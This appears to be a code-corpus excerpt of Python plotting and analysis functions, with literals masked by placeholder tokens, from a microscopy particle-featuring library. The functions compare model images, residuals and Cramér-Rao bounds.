{"signature": "def generative_model(s,x,y,z,r, factor=<NUM_LIT>):", "body": "pl.close('<STR_LIT:all>')<EOL>slicez = int(round(z.mean()))<EOL>slicex = s.image.shape[<NUM_LIT:2>]//<NUM_LIT:2><EOL>slicer1 = np.s_[slicez,s.pad:-s.pad,s.pad:-s.pad]<EOL>slicer2 = np.s_[s.pad:-s.pad,s.pad:-s.pad,slicex]<EOL>center = (slicez, s.image.shape[<NUM_LIT:1>]//<NUM_LIT:2>, slicex)<EOL>fig = pl.figure(figsize=(factor*<NUM_LIT>,factor*<NUM_LIT:10>))<EOL>gs1 = ImageGrid(fig, rect=[<NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT:1.0>, <NUM_LIT>], nrows_ncols=(<NUM_LIT:1>,<NUM_LIT:3>),<EOL>axes_pad=<NUM_LIT:0.1>)<EOL>ax_real = gs1[<NUM_LIT:0>]<EOL>ax_fake = gs1[<NUM_LIT:1>]<EOL>ax_diff = gs1[<NUM_LIT:2>]<EOL>diff = s.get_model_image() - s.image<EOL>ax_real.imshow(s.image[slicer1], cmap=pl.cm.bone_r)<EOL>ax_real.set_xticks([])<EOL>ax_real.set_yticks([])<EOL>ax_real.set_title(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_fake.imshow(s.get_model_image()[slicer1], cmap=pl.cm.bone_r)<EOL>ax_fake.set_xticks([])<EOL>ax_fake.set_yticks([])<EOL>ax_fake.set_title(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_diff.imshow(diff[slicer1], cmap=pl.cm.RdBu, vmin=-<NUM_LIT:0.1>, vmax=<NUM_LIT:0.1>)<EOL>ax_diff.set_xticks([])<EOL>ax_diff.set_yticks([])<EOL>ax_diff.set_title(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>gs2 = ImageGrid(fig, rect=[<NUM_LIT:0.1>, <NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT>], nrows_ncols=(<NUM_LIT:3>,<NUM_LIT:2>),<EOL>axes_pad=<NUM_LIT:0.1>)<EOL>ax_plt1 = fig.add_subplot(gs2[<NUM_LIT:0>])<EOL>ax_plt2 = fig.add_subplot(gs2[<NUM_LIT:1>])<EOL>ax_ilm1 = fig.add_subplot(gs2[<NUM_LIT:2>])<EOL>ax_ilm2 = fig.add_subplot(gs2[<NUM_LIT:3>])<EOL>ax_psf1 = fig.add_subplot(gs2[<NUM_LIT:4>])<EOL>ax_psf2 = fig.add_subplot(gs2[<NUM_LIT:5>])<EOL>c = int(z.mean()), int(y.mean())+s.pad, int(x.mean())+s.pad<EOL>if s.image.shape[<NUM_LIT:0>] > <NUM_LIT:2>*s.image.shape[<NUM_LIT:1>]//<NUM_LIT:3>:<EOL><INDENT>w = s.image.shape[<NUM_LIT:2>] - <NUM_LIT:2>*s.pad<EOL>h = <NUM_LIT:2>*w//<NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>h = s.image.shape[<NUM_LIT:0>] - <NUM_LIT:2>*s.pad<EOL>w = <NUM_LIT:3>*h//<NUM_LIT:2><EOL><DEDENT>w,h = w//<NUM_LIT:2>, h//<NUM_LIT:2><EOL>xyslice = np.s_[slicez, c[<NUM_LIT:1>]-h:c[<NUM_LIT:1>]+h, c[<NUM_LIT:2>]-w:c[<NUM_LIT:2>]+w]<EOL>yzslice = np.s_[c[<NUM_LIT:0>]-h:c[<NUM_LIT:0>]+h, c[<NUM_LIT:1>]-w:c[<NUM_LIT:1>]+w, slicex]<EOL>ax_plt1.imshow(<NUM_LIT:1>-s.obj.get_field()[xyslice], cmap=pl.cm.bone_r, vmin=<NUM_LIT:0>, vmax=<NUM_LIT:1>)<EOL>ax_plt1.set_xticks([])<EOL>ax_plt1.set_yticks([])<EOL>ax_plt1.set_ylabel(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_plt1.set_title(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_plt2.imshow(<NUM_LIT:1>-s._platonic_image()[yzslice], cmap=pl.cm.bone_r, vmin=<NUM_LIT:0>, vmax=<NUM_LIT:1>)<EOL>ax_plt2.set_xticks([])<EOL>ax_plt2.set_yticks([])<EOL>ax_plt2.set_title(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_ilm1.imshow(s.ilm.get_field()[xyslice], cmap=pl.cm.bone_r)<EOL>ax_ilm1.set_xticks([])<EOL>ax_ilm1.set_yticks([])<EOL>ax_ilm1.set_ylabel(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_ilm2.imshow(s.ilm.get_field()[yzslice], cmap=pl.cm.bone_r)<EOL>ax_ilm2.set_xticks([])<EOL>ax_ilm2.set_yticks([])<EOL>t = s.ilm.get_field().copy()<EOL>t *= <NUM_LIT:0><EOL>t[c] = <NUM_LIT:1><EOL>s.psf.set_tile(util.Tile(t.shape))<EOL>psf = (s.psf.execute(t)+<NUM_LIT>)**<NUM_LIT:0.1><EOL>ax_psf1.imshow(psf[xyslice], cmap=pl.cm.bone)<EOL>ax_psf1.set_xticks([])<EOL>ax_psf1.set_yticks([])<EOL>ax_psf1.set_ylabel(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_psf2.imshow(psf[yzslice], cmap=pl.cm.bone)<EOL>ax_psf2.set_xticks([])<EOL>ax_psf2.set_yticks([])<EOL>ax_zoom = fig.add_axes([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL>im = s.image[slicer1]<EOL>sh = np.array(im.shape)<EOL>cx = x.mean()<EOL>cy = y.mean()<EOL>extent = [<NUM_LIT:0>,sh[<NUM_LIT:0>],<NUM_LIT:0>,sh[<NUM_LIT:1>]]<EOL>ax_zoom.set_xticks([])<EOL>ax_zoom.set_yticks([])<EOL>ax_zoom.imshow(im, extent=extent, cmap=pl.cm.bone_r)<EOL>ax_zoom.set_xlim(cx-<NUM_LIT:12>, cx+<NUM_LIT:12>)<EOL>ax_zoom.set_ylim(cy-<NUM_LIT:12>, cy+<NUM_LIT:12>)<EOL>ax_zoom.set_title(\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_zoom.hexbin(x,y, gridsize=<NUM_LIT:32>, mincnt=<NUM_LIT:0>, cmap=pl.cm.hot)<EOL>zoom1 = zoomed_inset_axes(ax_zoom, <NUM_LIT:30>, loc=<NUM_LIT:3>)<EOL>zoom1.imshow(im, extent=extent, cmap=pl.cm.bone_r)<EOL>zoom1.set_xlim(cx-<NUM_LIT:1.0>/<NUM_LIT:6>, cx+<NUM_LIT:1.0>/<NUM_LIT:6>)<EOL>zoom1.set_ylim(cy-<NUM_LIT:1.0>/<NUM_LIT:6>, cy+<NUM_LIT:1.0>/<NUM_LIT:6>)<EOL>zoom1.hexbin(x,y,gridsize=<NUM_LIT:32>, mincnt=<NUM_LIT:5>, cmap=pl.cm.hot)<EOL>zoom1.set_xticks([])<EOL>zoom1.set_yticks([])<EOL>zoom1.hlines(cy-<NUM_LIT:1.0>/<NUM_LIT:6> + <NUM_LIT:1.0>/<NUM_LIT:32>, cx-<NUM_LIT:1.0>/<NUM_LIT:6>+<NUM_LIT>, cx-<NUM_LIT:1.0>/<NUM_LIT:6>+<NUM_LIT>+<NUM_LIT>, lw=<NUM_LIT:3>)<EOL>zoom1.text(cx-<NUM_LIT:1.0>/<NUM_LIT:6> + <NUM_LIT:1.0>/<NUM_LIT>, cy-<NUM_LIT:1.0>/<NUM_LIT:6>+<NUM_LIT>, '<STR_LIT>')<EOL>mark_inset(ax_zoom, zoom1, loc1=<NUM_LIT:2>, loc2=<NUM_LIT:4>, fc=\"<STR_LIT:none>\", ec=\"<STR_LIT>\")<EOL>", "docstring": "Samples x,y,z,r are created by:\nb = s.blocks_particle(#)\nh = runner.sample_state(s, b, stepout=0.05, N=2000, doprint=True)\nz,y,x,r = h.get_histogram().T", "id": "f5746:m6"}
{"signature": "def examine_unexplained_noise(state, bins=<NUM_LIT:1000>, xlim=(-<NUM_LIT:10>,<NUM_LIT:10>)):", "body": "r = state.residuals<EOL>q = np.fft.fftn(r)<EOL>calc_sig = lambda x: np.sqrt(np.dot(x,x) / x.size)<EOL>rh, xr = np.histogram(r.ravel() / calc_sig(r.ravel()), bins=bins,<EOL>density=True)<EOL>bigq = np.append(q.real.ravel(), q.imag.ravel())<EOL>qh, xq = np.histogram(bigq / calc_sig(q.real.ravel()), bins=bins,<EOL>density=True)<EOL>xr = <NUM_LIT:0.5>*(xr[<NUM_LIT:1>:] + xr[:-<NUM_LIT:1>])<EOL>xq = <NUM_LIT:0.5>*(xq[<NUM_LIT:1>:] + xq[:-<NUM_LIT:1>])<EOL>gauss = lambda t : np.exp(-t*t*<NUM_LIT:0.5>) / np.sqrt(<NUM_LIT:2>*np.pi)<EOL>plt.figure(figsize=[<NUM_LIT:16>,<NUM_LIT:8>])<EOL>axes = []<EOL>for a, (x, r, lbl) in enumerate([[xr, rh, '<STR_LIT>'], [xq, qh, '<STR_LIT>']]):<EOL><INDENT>ax = plt.subplot(<NUM_LIT:1>,<NUM_LIT:2>,a+<NUM_LIT:1>)<EOL>ax.semilogy(x, r, label='<STR_LIT>')<EOL>ax.plot(x, gauss(x), label='<STR_LIT>', scalex=False, scaley=False)<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.legend(loc='<STR_LIT>')<EOL>ax.set_title('<STR_LIT>'.format(lbl))<EOL>ax.set_xlim(xlim)<EOL>axes.append(ax)<EOL><DEDENT>return axes<EOL>", "docstring": "Compares a state's residuals in real and Fourier space with a Gaussian.\n\nPoint out that Fourier space should always be Gaussian and white\n\nParameters\n----------\n    state : `peri.states.State`\n        The state to examine.\n    bins : int or sequence of scalars or str, optional\n        The number of bins in the histogram, as passed to numpy.histogram\n        Default is 1000\n    xlim : 2-element tuple, optional\n        The range, in sigma, of the x-axis on the plot. Default (-10,10).\n\nReturns\n-------\n    list\n        The axes handles for the real and Fourier space subplots.", "id": "f5746:m7"}
{"signature": "def compare_data_model_residuals(s, tile, data_vmin='<STR_LIT>', data_vmax='<STR_LIT>',<EOL>res_vmin=-<NUM_LIT:0.1>, res_vmax=<NUM_LIT:0.1>, edgepts='<STR_LIT>', do_imshow=True,<EOL>data_cmap=plt.cm.bone, res_cmap=plt.cm.RdBu):", "body": "<EOL>residuals = s.residuals[tile.slicer].squeeze()<EOL>data = s.data[tile.slicer].squeeze()<EOL>model = s.model[tile.slicer].squeeze()<EOL>if data.ndim != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>im = np.zeros([data.shape[<NUM_LIT:0>], data.shape[<NUM_LIT:1>], <NUM_LIT:4>])<EOL>if data_vmin == '<STR_LIT>':<EOL><INDENT>data_vmin = <NUM_LIT:0.5>*(data.min() + model.min())<EOL><DEDENT>if data_vmax == '<STR_LIT>':<EOL><INDENT>data_vmax = <NUM_LIT:0.5>*(data.max() + model.max())<EOL><DEDENT>upper_mask, center_mask, lower_mask = trisect_image(im.shape, edgepts)<EOL>gm = data_cmap(center_data(model, data_vmin, data_vmax))<EOL>dt = data_cmap(center_data(data, data_vmin, data_vmax))<EOL>rs = res_cmap(center_data(residuals, res_vmin, res_vmax))<EOL>for a in range(<NUM_LIT:4>):<EOL><INDENT>im[:,:,a][upper_mask] = rs[:,:,a][upper_mask]<EOL>im[:,:,a][center_mask] = gm[:,:,a][center_mask]<EOL>im[:,:,a][lower_mask] = dt[:,:,a][lower_mask]<EOL><DEDENT>if do_imshow:<EOL><INDENT>return plt.imshow(im)<EOL><DEDENT>else:<EOL><INDENT>return im<EOL><DEDENT>", "docstring": "Compare the data, model, and residuals of a state.\n\nMakes an image of any 2D slice of a state that compares the data,\nmodel, and residuals. The upper left portion of the image is the raw\ndata, the central portion the model, and the lower right portion the\nimage. Either plots the image using plt.imshow() or returns a\nnp.ndarray of the image pixels for later use.\n\nParameters\n----------\n    st : peri.ImageState object\n        The state to plot.\n    tile : peri.util.Tile object\n        The slice of the image to plot. Can be any xy, xz, or yz\n        projection, but it must return a valid 2D slice (the slice is\n        squeezed internally).\n\n    data_vmin : {Float, `calc`}, optional\n        vmin for the imshow for the data and generative model (shared).\n        Default is 'calc' = 0.5(data.min() + model.min())\n    data_vmax : {Float, `calc`}, optional\n        vmax for the imshow for the data and generative model (shared).\n        Default is 'calc' = 0.5(data.max() + model.max())\n    res_vmin : Float, optional\n        vmin for the imshow for the residuals. Default is -0.1\n        Default is 'calc' = 0.5(data.min() + model.min())\n    res_vmax : Float, optional\n        vmax for the imshow for the residuals. Default is +0.1\n    edgepts : {Nested list-like, Float, 'calc'}, optional.\n        The vertices of the triangles which determine the splitting of\n        the image. The vertices are at (image corner, (edge, y), and\n        (x,edge), where edge is the appropriate edge of the image.\n            edgepts[0] : (x,y) points for the upper edge\n            edgepts[1] : (x,y) points for the lower edge\n        where `x` is the coordinate along the image's 0th axis and `y`\n        along the images 1st axis. Default is 'calc,' which calculates\n        edge points by splitting the image into 3 regions of equal\n        area. If edgepts is a float scalar, calculates the edge points\n        based on a constant fraction of distance from the edge.\n    do_imshow : Bool\n        If True, imshow's and returns the returned handle.\n        If False, returns the array as a [M,N,4] array.\n    data_cmap : matplotlib colormap instance\n        The colormap to use for the data and model.\n    res_cmap : matplotlib colormap instance\n        The colormap to use for the residuals.\n\nReturns\n-------\n    image : {matplotlib.pyplot.AxesImage, numpy.ndarray}\n        If `do_imshow` == True, the returned handle from imshow.\n        If `do_imshow` == False, an [M,N,4] np.ndarray of the image\n        pixels.", "id": "f5746:m8"}
{"signature": "def trisect_image(imshape, edgepts='<STR_LIT>'):", "body": "im_x, im_y = np.meshgrid(np.arange(imshape[<NUM_LIT:0>]), np.arange(imshape[<NUM_LIT:1>]),<EOL>indexing='<STR_LIT>')<EOL>if np.size(edgepts) == <NUM_LIT:1>:<EOL><INDENT>f = np.sqrt(<NUM_LIT>/<NUM_LIT>) if edgepts == '<STR_LIT>' else edgepts<EOL>lower_edge = (imshape[<NUM_LIT:0>] * (<NUM_LIT:1>-f),  imshape[<NUM_LIT:1>] * f)<EOL>upper_edge = (imshape[<NUM_LIT:0>] * f,      imshape[<NUM_LIT:1>] * (<NUM_LIT:1>-f))<EOL><DEDENT>else:<EOL><INDENT>upper_edge, lower_edge = edgepts<EOL><DEDENT>lower_slope = lower_edge[<NUM_LIT:1>] / max(float(imshape[<NUM_LIT:0>] - lower_edge[<NUM_LIT:0>]), <NUM_LIT>)<EOL>upper_slope = (imshape[<NUM_LIT:1>] - upper_edge[<NUM_LIT:1>]) / float(upper_edge[<NUM_LIT:0>])<EOL>lower_intercept = -lower_slope * lower_edge[<NUM_LIT:0>]<EOL>upper_intercept = upper_edge[<NUM_LIT:1>]<EOL>lower_mask = im_y < (im_x * lower_slope + lower_intercept)<EOL>upper_mask = im_y > (im_x * upper_slope + upper_intercept)<EOL>center_mask= -(lower_mask | upper_mask)<EOL>return upper_mask, center_mask, lower_mask<EOL>", "docstring": "Returns 3 masks that trisect an image into 3 triangular portions.\n\nParameters\n----------\n    imshape : 2-element list-like of ints\n        The shape of the image. Elements after the first 2 are ignored.\n\n    edgepts : Nested list-like, float, or `calc`, optional.\n        The vertices of the triangles which determine the splitting of\n        the image. The vertices are at (image corner, (edge, y), and\n        (x,edge), where edge is the appropriate edge of the image.\n            edgepts[0] : (x,y) points for the upper edge\n            edgepts[1] : (x,y) points for the lower edge\n        where `x` is the coordinate along the image's 0th axis and `y`\n        along the images 1st axis. Default is 'calc,' which calculates\n        edge points by splitting the image into 3 regions of equal\n        area. If edgepts is a float scalar, calculates the edge points\n        based on a constant fraction of distance from the edge.\n\nReturns\n-------\n    upper_mask : numpy.ndarray\n        Boolean array; True in the image's upper  region.\n    center_mask : numpy.ndarray\n        Boolean array; True in the image's center region.\n    lower_mask : numpy.ndarray\n        Boolean array; True in the image's lower  region.", "id": "f5746:m9"}
{"signature": "def center_data(data, vmin, vmax):", "body": "ans = data - vmin<EOL>ans /= (vmax - vmin)<EOL>return np.clip(ans, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>", "docstring": "Clips data on [vmin, vmax]; then rescales to [0,1]", "id": "f5746:m10"}
{"signature": "def sim_crb_diff(std0, std1, N=<NUM_LIT>):", "body": "a = std0*np.random.randn(N, len(std0))<EOL>b = std1*np.random.randn(N, len(std1))<EOL>return a - b<EOL>", "docstring": "each element of std0 should correspond with the element of std1", "id": "f5746:m11"}
{"signature": "def crb_compare(state0, samples0, state1, samples1, crb0=None, crb1=None,<EOL>zlayer=None, xlayer=None):", "body": "s0 = state0<EOL>s1 = state1<EOL>h0 = np.array(samples0)<EOL>h1 = np.array(samples1)<EOL>slicez = zlayer or s0.image.shape[<NUM_LIT:0>]//<NUM_LIT:2><EOL>slicex = xlayer or s0.image.shape[<NUM_LIT:2>]//<NUM_LIT:2><EOL>slicer1 = np.s_[slicez,s0.pad:-s0.pad,s0.pad:-s0.pad]<EOL>slicer2 = np.s_[s0.pad:-s0.pad,s0.pad:-s0.pad,slicex]<EOL>center = (slicez, s0.image.shape[<NUM_LIT:1>]//<NUM_LIT:2>, slicex)<EOL>mu0 = h0.mean(axis=<NUM_LIT:0>)<EOL>mu1 = h1.mean(axis=<NUM_LIT:0>)<EOL>std0 = h0.std(axis=<NUM_LIT:0>)<EOL>std1 = h1.std(axis=<NUM_LIT:0>)<EOL>mask0 = (s0.state[s0.b_typ]==<NUM_LIT:1.>) & (<EOL>analyze.trim_box(s0, mu0[s0.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)))<EOL>mask1 = (s1.state[s1.b_typ]==<NUM_LIT:1.>) & (<EOL>analyze.trim_box(s1, mu1[s1.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)))<EOL>active0 = np.arange(s0.N)[mask0]<EOL>active1 = np.arange(s1.N)[mask1]<EOL>pos0 = mu0[s0.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)[active0]<EOL>pos1 = mu1[s1.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)[active1]<EOL>rad0 = mu0[s0.b_rad][active0]<EOL>rad1 = mu1[s1.b_rad][active1]<EOL>link = analyze.nearest(pos0, pos1)<EOL>dpos = pos0 - pos1[link]<EOL>drad = rad0 - rad1[link]<EOL>drift = dpos.mean(axis=<NUM_LIT:0>)<EOL>log.info('<STR_LIT>'.format(drift))<EOL>dpos -= drift<EOL>fig = pl.figure(figsize=(<NUM_LIT>,<NUM_LIT:10>))<EOL>gs0 = ImageGrid(fig, rect=[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>], nrows_ncols=(<NUM_LIT:2>,<NUM_LIT:3>), axes_pad=<NUM_LIT:0.1>)<EOL>lbl(gs0[<NUM_LIT:0>], '<STR_LIT:A>')<EOL>for i,slicer in enumerate([slicer1, slicer2]):<EOL><INDENT>ax_real = gs0[<NUM_LIT:3>*i+<NUM_LIT:0>]<EOL>ax_fake = gs0[<NUM_LIT:3>*i+<NUM_LIT:1>]<EOL>ax_diff = gs0[<NUM_LIT:3>*i+<NUM_LIT:2>]<EOL>diff0 = s0.get_model_image() - s0.image<EOL>diff1 = s1.get_model_image() - s1.image<EOL>a = (s0.image - s1.image)<EOL>b = (s0.get_model_image() - s1.get_model_image())<EOL>c = (diff0 - diff1)<EOL>ptp = <NUM_LIT>*max([np.abs(a).max(), np.abs(b).max(), np.abs(c).max()])<EOL>cmap = pl.cm.RdBu_r<EOL>ax_real.imshow(a[slicer], cmap=cmap, vmin=-ptp, vmax=ptp)<EOL>ax_real.set_xticks([])<EOL>ax_real.set_yticks([])<EOL>ax_fake.imshow(b[slicer], cmap=cmap, vmin=-ptp, vmax=ptp)<EOL>ax_fake.set_xticks([])<EOL>ax_fake.set_yticks([])<EOL>ax_diff.imshow(c[slicer], cmap=cmap, vmin=-ptp, vmax=ptp)<EOL>ax_diff.set_xticks([])<EOL>ax_diff.set_yticks([])<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>ax_real.set_title(r\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_fake.set_title(r\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_diff.set_title(r\"<STR_LIT>\", fontsize=<NUM_LIT>)<EOL>ax_real.set_ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>ax_real.set_ylabel('<STR_LIT>')<EOL><DEDENT><DEDENT>gs1 = GridSpec(<NUM_LIT:1>,<NUM_LIT:3>, left=<NUM_LIT>, bottom=<NUM_LIT>, right=<NUM_LIT>, top=<NUM_LIT>,<EOL>wspace=<NUM_LIT>, hspace=<NUM_LIT>)<EOL>spos0 = std0[s0.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)[active0]<EOL>spos1 = std1[s1.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)[active1]<EOL>srad0 = std0[s0.b_rad][active0]<EOL>srad1 = std1[s1.b_rad][active1]<EOL>def hist(ax, vals, bins, *args, **kwargs):<EOL><INDENT>y,x = np.histogram(vals, bins=bins)<EOL>x = (x[<NUM_LIT:1>:] + x[:-<NUM_LIT:1>])/<NUM_LIT:2><EOL>y /= len(vals)<EOL>ax.plot(x,y, *args, **kwargs)<EOL><DEDENT>def pp(ind, tarr, tsim, tcrb, var='<STR_LIT:x>'):<EOL><INDENT>bins = <NUM_LIT:10>**np.linspace(-<NUM_LIT:3>, <NUM_LIT:0.0>, <NUM_LIT:30>)<EOL>bin2 = <NUM_LIT:10>**np.linspace(-<NUM_LIT:3>, <NUM_LIT:0.0>, <NUM_LIT:100>)<EOL>bins = np.linspace(<NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT:30>)<EOL>bin2 = np.linspace(<NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT:100>)<EOL>xlim = (<NUM_LIT:0.0>, <NUM_LIT>)<EOL>ylim = (<NUM_LIT>, <NUM_LIT:30>)<EOL>ticks = ticker.FuncFormatter(lambda x, pos: '<STR_LIT>'.format(np.log10(x)))<EOL>scaler = lambda x: x <EOL>ax_crb = pl.subplot(gs1[<NUM_LIT:0>,ind])<EOL>ax_crb.hist(scaler(np.abs(tarr)), bins=bins,<EOL>normed=True, alpha=<NUM_LIT>, histtype='<STR_LIT>', lw=<NUM_LIT:1>)<EOL>ax_crb.hist(scaler(np.abs(tcrb)).ravel(), bins=bin2,<EOL>normed=True, alpha=<NUM_LIT:1.0>, histtype='<STR_LIT>', ls='<STR_LIT>', lw=<NUM_LIT>, color='<STR_LIT:k>')<EOL>ax_crb.hist(scaler(np.abs(tsim).ravel()), bins=bin2,<EOL>normed=True, alpha=<NUM_LIT:1.0>, histtype='<STR_LIT>', lw=<NUM_LIT:3>)<EOL>ax_crb.set_xlabel(r\"<STR_LIT>\" % (var,var), fontsize=<NUM_LIT>)<EOL>ax_crb.set_xlim(xlim)<EOL>ax_crb.grid(b=False, which='<STR_LIT>', axis='<STR_LIT>')<EOL>if ind == <NUM_LIT:0>:<EOL><INDENT>lbl(ax_crb, '<STR_LIT:B>')<EOL>ax_crb.set_ylabel(r\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>ax_crb.set_yticks([])<EOL><DEDENT>ax_crb.locator_params(axis='<STR_LIT:x>', nbins=<NUM_LIT:3>)<EOL><DEDENT>f,g = <NUM_LIT>, <NUM_LIT><EOL>sim = f*sim_crb_diff(spos0[:,<NUM_LIT:1>], spos1[:,<NUM_LIT:1>][link])<EOL>crb = g*sim_crb_diff(crb0[<NUM_LIT:0>][:,<NUM_LIT:1>][active0], crb1[<NUM_LIT:0>][:,<NUM_LIT:1>][active1][link])<EOL>pp(<NUM_LIT:0>, dpos[:,<NUM_LIT:1>], sim, crb, '<STR_LIT:x>')<EOL>sim = f*sim_crb_diff(spos0[:,<NUM_LIT:0>], spos1[:,<NUM_LIT:0>][link])<EOL>crb = g*sim_crb_diff(crb0[<NUM_LIT:0>][:,<NUM_LIT:0>][active0], crb1[<NUM_LIT:0>][:,<NUM_LIT:0>][active1][link])<EOL>pp(<NUM_LIT:1>, dpos[:,<NUM_LIT:0>], sim, crb, '<STR_LIT:z>')<EOL>sim = f*sim_crb_diff(srad0, srad1[link])<EOL>crb = g*sim_crb_diff(crb0[<NUM_LIT:1>][active0], crb1[<NUM_LIT:1>][active1][link])<EOL>pp(<NUM_LIT:2>, drad, sim, crb, '<STR_LIT:a>')<EOL>gs2 = GridSpec(<NUM_LIT:2>,<NUM_LIT:2>, left=<NUM_LIT>, bottom=<NUM_LIT>, right=<NUM_LIT>, top=<NUM_LIT>,<EOL>wspace=<NUM_LIT>, hspace=<NUM_LIT>)<EOL>ax_hist = pl.subplot(gs2[<NUM_LIT:0>,<NUM_LIT:0>])<EOL>ax_hist.hist(std0[s0.b_pos], bins=np.logspace(-<NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:50>), alpha=<NUM_LIT>, label='<STR_LIT>', histtype='<STR_LIT>')<EOL>ax_hist.hist(std0[s0.b_rad], bins=np.logspace(-<NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:50>), alpha=<NUM_LIT>, label='<STR_LIT>', histtype='<STR_LIT>')<EOL>ax_hist.set_xlim((<NUM_LIT:10>**-<NUM_LIT>, <NUM_LIT:1>))<EOL>ax_hist.semilogx()<EOL>ax_hist.set_xlabel(r\"<STR_LIT>\")<EOL>ax_hist.set_ylabel(r\"<STR_LIT>\")<EOL>ax_hist.legend(loc='<STR_LIT>')<EOL>lbl(ax_hist, '<STR_LIT:C>')<EOL>imdiff = ((s0.get_model_image() - s0.image)/s0._sigma_field)[s0.image_mask==<NUM_LIT:1.>].ravel()<EOL>mu = imdiff.mean()<EOL>x = np.linspace(-<NUM_LIT:5>,<NUM_LIT:5>,<NUM_LIT>)<EOL>ax_diff = pl.subplot(gs2[<NUM_LIT:0>,<NUM_LIT:1>])<EOL>ax_diff.plot(x, <NUM_LIT:1.0>/np.sqrt(<NUM_LIT:2>*np.pi) * np.exp(-(x-mu)**<NUM_LIT:2> / <NUM_LIT:2>), '<STR_LIT:->', alpha=<NUM_LIT>, color='<STR_LIT:k>', lw=<NUM_LIT:2>)<EOL>ax_diff.hist(imdiff, bins=<NUM_LIT:1000>, histtype='<STR_LIT>', alpha=<NUM_LIT>, normed=True)<EOL>ax_diff.semilogy()<EOL>ax_diff.set_ylabel(r\"<STR_LIT>\")<EOL>ax_diff.set_xlabel(r\"<STR_LIT>\")<EOL>ax_diff.locator_params(axis='<STR_LIT:x>', nbins=<NUM_LIT:5>)<EOL>ax_diff.grid(b=False, which='<STR_LIT>', axis='<STR_LIT:y>')<EOL>ax_diff.set_xlim(-<NUM_LIT:5>, <NUM_LIT:5>)<EOL>ax_diff.set_ylim(<NUM_LIT>, <NUM_LIT>)<EOL>lbl(ax_diff, '<STR_LIT:D>')<EOL>pos = mu0[s0.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>)<EOL>rad = mu0[s0.b_rad]<EOL>mask = analyze.trim_box(s0, pos)<EOL>pos = pos[mask]<EOL>rad = rad[mask]<EOL>gx, gy = analyze.gofr(pos, rad, mu0[s0.b_zscale][<NUM_LIT:0>], resolution=<NUM_LIT>,mask_start=<NUM_LIT:0.5>)<EOL>mask = gx < <NUM_LIT:5><EOL>gx = gx[mask]<EOL>gy = gy[mask]<EOL>ax_gofr = pl.subplot(gs2[<NUM_LIT:1>,<NUM_LIT:0>])<EOL>ax_gofr.plot(gx, gy, '<STR_LIT:->', lw=<NUM_LIT:1>)<EOL>ax_gofr.set_xlabel(r\"<STR_LIT>\")<EOL>ax_gofr.set_ylabel(r\"<STR_LIT>\")<EOL>ax_gofr.locator_params(axis='<STR_LIT>', nbins=<NUM_LIT:5>)<EOL>lbl(ax_gofr, '<STR_LIT:E>')<EOL>gx, gy = analyze.gofr(pos, rad, mu0[s0.b_zscale][<NUM_LIT:0>], method='<STR_LIT>')<EOL>mask = gx < <NUM_LIT:5><EOL>gx = gx[mask]<EOL>gy = gy[mask]<EOL>gy[gy <= <NUM_LIT:0.>] = gy[gy><NUM_LIT:0>].min()<EOL>ax_gofrs = pl.subplot(gs2[<NUM_LIT:1>,<NUM_LIT:1>])<EOL>ax_gofrs.plot(gx, gy, '<STR_LIT:->', lw=<NUM_LIT:1>)<EOL>ax_gofrs.set_xlabel(r\"<STR_LIT>\")<EOL>ax_gofrs.set_ylabel(r\"<STR_LIT>\")<EOL>ax_gofrs.locator_params(axis='<STR_LIT>', nbins=<NUM_LIT:5>)<EOL>ax_gofrs.grid(b=False, which='<STR_LIT>', axis='<STR_LIT:y>')<EOL>lbl(ax_gofrs, '<STR_LIT:F>')<EOL>ylim = ax_gofrs.get_ylim()<EOL>ax_gofrs.set_ylim(gy.min(), ylim[<NUM_LIT:1>])<EOL>", "docstring": "To run, do:\n\ns,h = pickle...\ns1,h1 = pickle...\n    i.e. /media/scratch/bamf/vacancy/vacancy_zoom-1.tif_t002.tif-featured-v2.pkl\n    i.e. /media/scratch/bamf/frozen-particles/0.tif-featured-full.pkl\ncrb0 = diag_crb_particles(s); crb1 = diag_crb_particles(s1)\ncrb_compare(s,h[-25:],s1,h1[-25:], crb0, crb1)", "id": "f5746:m13"}
